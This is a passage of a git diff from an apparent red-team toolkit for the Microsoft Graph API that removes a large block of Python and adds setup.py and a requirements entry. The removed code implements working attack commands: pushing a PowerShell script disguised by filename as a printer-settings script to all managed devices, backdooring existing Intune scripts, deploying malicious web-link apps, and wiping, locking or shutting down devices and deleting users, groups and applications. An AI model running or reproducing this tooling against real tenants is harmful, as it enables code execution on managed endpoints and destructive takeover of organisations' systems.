"#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": groupid - } - } - ] - - body = { - "assignments": new_assignments - } - - response = requests.post(assign_api_url, headers=headers, json=body) - if response.ok: - print_green(f"\n[+] Excluded group added to policy rules") - else: - print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # deploy-maliciousscript - elif args.command and args.command.lower() == "deploy-maliciousscript": - if not args.script: - print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") - return - - print_yellow("\n[*] Deploy-MaliciousScript") - print("=" * 80) - - script_content = read_file_content(args.script) - - try: - display_name = input("\nEnter Script Display Name: ").strip() - description = input("Enter Script Description: ").strip() - runasaccount = input("Run As Account (user/system): ").strip().lower() - sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() - runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() - - if runasaccount not in ['user', 'system']: - print("Invalid input for Run As Account. Defaulting to 'user.") - runasaccount = 'user' - - if sigcheck not in ['true', 'false']: - print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") - sigcheck = 'false' - - if runas32bit not in ['true', 'false']: - print("Invalid input for Run As 64-bit. Defaulting to 'false'.") - runas32bit = 'false' - - except KeyboardInterrupt: - sys.exit() - - user_agent = get_user_agent(args) - - url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - headers = { - "Authorization": f"Bearer {access_token}", - "Content-Type": "application/json", - "User-Agent": user_agent - } - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - script_payload = { - "@odata.type": "#microsoft.graph.deviceManagementScript", - "displayName": display_name, - "description": description, - "runSchedule": { - "@odata.type": "microsoft.graph.runSchedule" - }, - "scriptContent": encoded_script_content, - "runAsAccount": runasaccount, - "enforceSignatureCheck": sigcheck == 'true', - "fileName": "Deploy-PrinterSettings.ps1", - "runAs32Bit": runas32bit == 'true' - } - - response = requests.post(url_create, headers=headers, json=script_payload) - if response.status_code == 201: - print_green("\n[+] Script created successfully") - script_id = response.json().get('id') - print_green(f"[+] Script ID: {script_id}") - - url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" - - try: - assignments = [] - - assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() - if assign_all_devices == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - } - }) - - assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() - if assign_all_users == 'yes': - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - } - }) - - assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() - if assign_specific_group == 'yes': - group_id = input("Enter Group ID: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.groupAssignmentTarget", - "groupId": group_id - } - }) - - add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() - if add_group_exclusion == 'yes': - exclusion_group_id = input("Enter Group ID to Exclude: ").strip() - assignments.append({ - "target": { - "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", - "groupId": exclusion_group_id - } - }) - - except KeyboardInterrupt: - sys.exit() - - assignment_payload = { - "deviceManagementScriptAssignments": assignments - } - - response = requests.post(url_assign, headers=headers, json=assignment_payload) - if response.status_code == 200: - print_green("\n[+] Script assigned successfully") - else: - print_red(f"[-] Failed to assign script: {response.status_code}") - print(response.text) - else: - print_red(f"[-] Failed to create script: {response.status_code}") - print(response.text) - print("=" * 80) - - # backdoor-script - elif args.command and args.command.lower() == "backdoor-script": - if not args.id or not args.script: - print_red("[-] Error: --id and --script required for Backdoor-Script command") - return - - print_yellow("\n[*] Backdoor-Script") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - # 1. get current target script settings and encode new script content so we don't override anything - # - could add option to alter pre-existing settings - try: - script_content = read_file_content(args.script) - encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') - except Exception as e: - print_red(f"[-] Error reading or encoding script file: {e}") - return - - response = requests.get(api_url, headers=headers) - if response.ok: - json_data = response.json() - json_data.pop('@odata.context', None) # remove or 400 err - json_data.pop('id', None) # remove or 400 err - json_data.pop('createdDateTime', None) # remove or 400 err - json_data.pop('lastModifiedDateTime', None) # remove or 400 err - json_data['scriptContent'] = encoded_script_content # replace with our new script content - else: - print_red(f"[-] HTTP Error: {response.status_code}") - print_red(response.text) - return - - # 2. patch script with updated script content - patch = requests.patch(api_url, headers=headers, json=json_data) - if patch.ok: - print_green("\n[+] Patched device management script successfully\n") - json_data = patch.json() - - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - - json_data.pop('@odata.context', None) - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - - if script_content: - print_green("scriptContent :\n") - print(decoded_script_content) - else: - print_red(f"[-] Error patching device management script: {patch.status_code}") - print_red(patch.text) - print("=" * 80) - - # deploy-maliciousweblink - elif args.command and args.command.lower() == "deploy-maliciousweblink": - print_yellow("\n[*] Deploy-MaliciousWebLink") - print("=" * 80) - - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - # all required - appUrl = input("\nApp URL: ").strip() - description = input("Description: ").strip() - displayName = input("Display Name: ").strip() - publisher = input("Publisher: ").strip() - isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() - if isFeatured not in ['true', 'false']: - print("Invalid input for Company Portal. Defaulting to 'False'.") - isFeatured = 'False' - except KeyboardInterrupt: - sys.exit() - - json_body = { - "@odata.type": "#microsoft.graph.windowsWebApp", - "appUrl": appUrl, - "categories": [], - "description": description, - "developer": "", - "displayName": displayName, - "informationUrl": "", - "isFeatured": isFeatured, - "notes": "", - "owner": "", - "privacyInformationUrl": "", - "publisher": publisher, - "roleScopeTagIds": [] - } - - response = requests.post(api_url, json=json_body, headers=headers) - if response.ok: - result = response.json() - print_green("\n[+] Malicious web link app deployed successfully") - - appid = result['id'] - print(f"\nApp ID: {appid}") - - assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" - assign_body = { - "mobileAppAssignments": [ - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" - }, - "intent": "Required", - "settings": None - }, - { - "@odata.type": "#microsoft.graph.mobileAppAssignment", - "target": { - "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" - }, - "intent": "Required", - "settings": None - } - ] - } - - assign = requests.post(assign_url, json=assign_body, headers=headers) - if assign.ok: - print_green("\n[+] Web link app assigned successfully") - else: - print_red(f"\n[-] Failed to assign web link app: {response.status_code}") - print_red(response.text) - else: - print_red(f"[-] Failed to create web link app: {response.status_code}") - print_red(response.text) - - print("=" * 80) - - # deploy-maliciouswin32app - # - user will have to packagae app prior - # https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ - # https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ - # - # POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ - # {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} - # -> need to add install/uninstall instruction batch script - elif args.command and args.command.lower() == "deploy-maliciouswin32exe": # don't use this yet - url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" - - # add the option to be available in the company portal for download! - data = { - "@odata.type": "#microsoft.graph.win32LobApp", - "applicableArchitectures": "x64,x86", - "allowAvailableUninstall": False, - "categories": [], - "description": "IntuneMessageBox", - "developer": "", - "displayName": "IntuneMessageBox", - "displayVersion": "", - "fileName": "IntuneMessageBox.intunewin", - "installCommandLine": "IntuneMessageBox.exe", - "installExperience": { - "deviceRestartBehavior": "suppress", - "maxRunTimeInMinutes": 30, - "runAsAccount": "system" - }, - "informationUrl": "", - "isFeatured": False, - "roleScopeTagIds": [], - "notes": "", - "minimumSupportedWindowsRelease": "1607", - "msiInformation": None, - "owner": "", - "privacyInformationUrl": "", - "publisher": "ECorp", - "returnCodes": [ - {"returnCode": 0, "type": "success"}, - {"returnCode": 1707, "type": "success"}, - {"returnCode": 3010, "type": "softReboot"}, - {"returnCode": 1641, "type": "hardReboot"}, - {"returnCode": 1618, "type": "retry"} - ], - "rules": [ - { - "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", - "ruleType": "detection", - "operator": "notConfigured", - "check32BitOn64System": False, - "operationType": "exists", - "comparisonValue": None, - "fileOrFolderName": "IntuneMessageBox.exe", - "path": "C:\\Program Files\\IntuneMessageBox.exe" - } - ], - "runAs32Bit": False, - "setupFilePath": "IntuneMessageBox.exe", - "uninstallCommandLine": "IntuneMessageBox.exe" - } - - # deploy-maliciouswin32msi - # - todo - - # update-deviceconfig - elif args.command and args.command.lower() == "update-deviceconfig": - if not args.id: - print_red("[-] Error: --id required for Update-DeviceConfig command") - return - - properties = [ - { - "Property": "ownerType", - "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceOwnerType", - "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." - }, - { - "Property": "managedDeviceName", - "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." - }, - { - "Property": "notes", - "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." - }, - { - "Property": "roleScopeTagIds", - "Description": "List of Scope Tag IDs for this Device instance." - }, - { - "Property": "configurationManagerClientHealthState", - "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." - }, - { - "Property": "configurationManagerClientInformation", - "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." - } - ] - - print_yellow("\n[*] Update-DeviceConfig") - print("=" * 80) - print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - table = [[prop["Property"], prop["Description"]] for prop in properties] - separator = ['-' * 20, '-' * 50] - - tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) - print(tablenew) - - try: - prop = input("\nEnter Property: ").strip() - newvalue = input("Enter New Value: ").strip() - except KeyboardInterrupt: - sys.exit() - - json_body = { - prop : newvalue - } - - response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Device config updated successfully") - - else: - print_red(f"\n[-] Failed to update device config: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # reboot-device - elif args.command and args.command.lower() == "reboot-device": - if not args.id: - print_red("[-] Error: --id argument is required for Reboot-Device command") - return - - print_yellow("\n[*] Reboot-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device reboot initiated successfully") - else: - print_red(f"[-] Failed to initiate device reboot: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # retire-device - elif args.command and args.command.lower() == "retire-device": - if not args.id: - print_red("[-] Error: --id argument is required for Retire-Device command") - return - - print_yellow("\n[*] Retire-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device retire initiated successfully") - else: - print_red(f"[-] Failed to initiate device retire: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # lock-device - elif args.command and args.command.lower() == "lock-device": - if not args.id: - print_red("[-] Error: --id argument is required for Lock-Device command") - return - - print_yellow("\n[*] Lock-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device lock initiated successfully") - else: - print_red(f"[-] Failed to initiate device lock: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # shutdown-device - elif args.command and args.command.lower() == "shutdown-device": - if not args.id: - print_red("[-] Error: --id argument is required for Shutdown-Device command") - return - - print_yellow("\n[*] Shutdown-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" - user_agent = get_user_agent(args) - - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.post(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device shutdown initiated successfully") - else: - print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # add more from - # https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta - - - ########### - # Cleanup # - ########### - - # delete-user - elif args.command and args.command.lower() == "delete-user": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-User command") - return - - print_yellow("\n[*] Delete-User") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] User deleted") - else: - print_red(f"[-] Failed to delete user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-group - elif args.command and args.command.lower() == "delete-group": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Group command") - return - - print_yellow("\n[*] Delete-Group") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group deleted") - else: - print_red(f"[-] Failed to delete group: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # remove-groupmember - elif args.command and args.command.lower() == "remove-groupmember": - if not args.id: - print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") - return - - ids = args.id.split(',') - if len(ids) != 2: - print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") - return - - group_id, member_id = ids[0].strip(), ids[1].strip() - print_yellow("\n[*] Remove-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Group member removed") - else: - print_red(f"[-] Failed to remove group member: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-application - elif args.command and args.command.lower() == "delete-application": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Application command") - return - - print_yellow("\n[*] Delete-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Application deleted") - else: - print_red(f"[-] Failed to delete application: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # delete-device - elif args.command and args.command.lower() == "delete-device": - if not args.id: - print_red("[-] Error: --id argument is required for Delete-Device command") - return - - print_yellow("\n[*] Delete-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - response = requests.delete(api_url, headers=headers) - if response.ok: - print_green(f"[+] Device deleted") - else: - print_red(f"[-] Failed to delete user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - # wipe-device - elif args.command and args.command.lower() == "wipe-device": - if not args.id: - print_red("[-] Error: --id argument is required for Wipe-Device command") - return - - print_yellow("\n[*] Wipe-Device") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - body = { - "keepEnrollmentData": True, - "keepUserData": True, - "useProtectedWipe": False - } - - response = requests.post(api_url, headers=headers, json=body) - if response.ok: - print_green(f"[+] Device wipe initiated successfully") - else: - print_red(f"[-] Failed to initiate device wipe: {response.status_code}") - print_red(response.text) - print("=" * 80) - - - ############ - # Locators # - ############ - - # locate-objectid - elif args.command and args.command.lower() == "locate-objectid": - if not args.id: - print_red("[-] Error: --id required for Locate-ObjectID command") - return - - print_yellow("\n[*] Locate-ObjectID") - print("=" * 80) - graph_api_url = "https://graph.microsoft.com/v1.0" - object_url = f"{graph_api_url}/directoryObjects/{args.id}" - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {access_token}', - 'User-Agent': user_agent - } - - try: - response = requests.get(object_url, headers=headers) - response.raise_for_status() - object_data = response.json() - object_type = object_data.get('@odata.type', '').split('.')[-1] - - print_green(f"Object Type: {object_type}") - print(f"ID: {object_data.get('id', 'N/A')}") - print(f"Display Name: {object_data.get('displayName', 'N/A')}") - - if object_type == 'user': - print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") - print(f"Department: {object_data.get('department', 'N/A')}") - print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") - print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") - print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") - elif object_type == 'group': - print(f"Mail: {object_data.get('mail', 'N/A')}") - print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") - print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") - print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") - print(f"Visibility: {object_data.get('visibility', 'N/A')}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - print(f"Description: {object_data.get('description', 'N/A')}") - print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") - print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") - elif object_type == 'servicePrincipal': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") - print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") - print(f"Homepage: {object_data.get('homepage', 'N/A')}") - print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") - print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") - print(f"Tags: {', '.join(object_data.get('tags', []))}") - print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") - elif object_type == 'application': - print(f"App ID: {object_data.get('appId', 'N/A')}") - print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") - print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") - print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") - print(f"App Roles Count: {len(object_data.get('appRoles', []))}") - print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") - print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") - print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") - elif object_type == 'device': - print(f"Device ID: {object_data.get('deviceId', 'N/A')}") - print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") - print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") - print(f"Trust Type: {object_data.get('trustType', 'N/A')}") - print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") - print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") - print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") - print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") - print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") - - except requests.exceptions.HTTPError as e: - if e.response.status_code == 404: - print_red(f"[-] Object with ID {args.id} not found") - else: - print_red(f"[-] An error occurred while retrieving object details: {str(e)}") - except requests.exceptions.RequestException as e: - print_red(f"[-] An error occurred while making the request: {str(e)}") - - print("=" * 80) - - # locate-permissionid - elif args.command and args.command.lower() == "locate-permissionid": - if not args.id: - print_red("[-] Error: --id argument is required for Locate-PermissionID command") - return - - print_yellow("\n[*] Locate-PermissionID") - print("=" * 80) - - def parse_html(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - - for h3 in soup.find_all('h3'): - title = h3.text - table = h3.find_next('table') - headers = [th.text for th in table.find('thead').find_all('th')] - rows = table.find('tbody').find_all('tr') - - permission_data = {} - for row in rows: - cells = row.find_all('td') - category = cells[0].text - application = cells[1].text - delegated = cells[2].text - permission_data[category] = { - headers[1]: application, - headers[2]: delegated - } - permissions[title] = permission_data - - return permissions - - def highlight(text, should_highlight): - if should_highlight: - return f"\033[92m{text}\033[0m" - return text - - def print_permission(permission, data, app_ids, delegated_ids): - print_green(f"{permission}") - for category, values in data.items(): - print(f" {category}:") - app_highlight = data['Identifier']['Application'] in app_ids - delegated_highlight = data['Identifier']['Delegated'] in delegated_ids - print(f" Application: {highlight(values['Application'], app_highlight)}") - print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") - print() - - identifiers = args.id.split(',') - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, '.github', 'graphpermissions.txt') - - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"[-] The file {file_path} does not exist.") - return - except Exception as e: - print_red(f"[-] An error occurred: {e}") - return - - permissions = parse_html(content) - app_ids = [] - delegated_ids = [] - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in identifiers: - app_ids.append(data['Identifier']['Application']) - if data['Identifier']['Delegated'] in identifiers: - delegated_ids.append(data['Identifier']['Delegated']) - - found_permissions = False - - for permission, data in permissions.items(): - if data['Identifier']['Application'] in app_ids or data['Identifier']['Delegated'] in delegated_ids: - print_permission(permission, data, app_ids, delegated_ids) - found_permissions = True - - if not found_permissions: - print_red("[-] Permission ID not found") - - print("=" * 80) - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 750df30..9b0439f 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,4 +4,5 @@ dnspython tqdm tabulate cryptography -beautifulsoup4 \ No newline at end of file +beautifulsoup4 +termcolor \ No newline at end of file diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..689afb6 --- /dev/null +++ b/setup.py @@ -0,0 +1,42 @@ +from setuptools import setup, find_packages +import os + +with open('README.md', 'r', encoding='utf-8') as f: + long_description = f.read() + +requirements = [] +if os.path.exists('requirements.txt'): + with open('requirements.txt', 'r', encoding='utf-8') as f: + requirements = [x.strip() for x in f.readlines()] + +setup( + name="Graphpython", + version="1.0", + packages=find_packages(), + author="mlcsec", + author_email="mlcsec@proton.me", + description="Modular cross-platform Microsoft Graph API (Entra, o365, and Intune) enumeration and exploitation toolkit", + long_description=long_description, + long_description_content_type="text/markdown", + url="https://github.com/mlcsec/Graphpython", + install_requires=requirements, + classifiers=[ + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Development Status :: 3 - Alpha", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Topic :: Security", + ], + python_requires='>=3.6', + entry_points={ + "console_scripts": [ + "Graphpython=Graphpython.__main__:main", + ], + }, + include_package_data=True, + package_data={ + 'Graphpython': ['commands/graphpermissions.txt', 'commands/directoryroles.txt'] + }, +) \ No newline at end of file